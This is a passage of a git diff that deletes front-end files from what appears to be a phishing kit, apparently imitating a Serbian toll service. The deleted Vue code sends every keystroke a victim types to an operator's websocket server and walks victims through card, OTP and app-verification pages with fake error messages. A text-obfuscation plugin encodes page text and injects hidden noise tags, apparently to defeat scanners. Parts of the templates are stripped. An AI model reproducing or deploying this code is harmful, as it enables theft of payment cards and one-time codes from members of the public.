- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/t_etc_temp1/src/utils/common.ts.backup b/t_etc_temp1/src/utils/common.ts.backup
deleted file mode 100644
index 8f55f26..0000000
--- a/t_etc_temp1/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.putevi-srbije.rs/";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Static_zy/header.html");
- footerHtml.value = await loadHtml("/Static_zy/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/t_etc_temp2/src/components/HelloWorld.vue b/t_etc_temp2/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/t_etc_temp2/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/t_etc_temp2/src/components/TheWelcome.vue b/t_etc_temp2/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/t_etc_temp2/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/t_etc_temp2/src/components/WelcomeItem.vue b/t_etc_temp2/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/t_etc_temp2/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/t_etc_temp2/src/main.ts b/t_etc_temp2/src/main.ts
index f4f3682..9f2935b 100644
--- a/t_etc_temp2/src/main.ts
+++ b/t_etc_temp2/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -25,6 +24,5 @@ app.use(i18n);
app.use(createPinia());
app.use(router);
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/t_etc_temp2/src/mix/textObfuscator.ts b/t_etc_temp2/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/t_etc_temp2/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
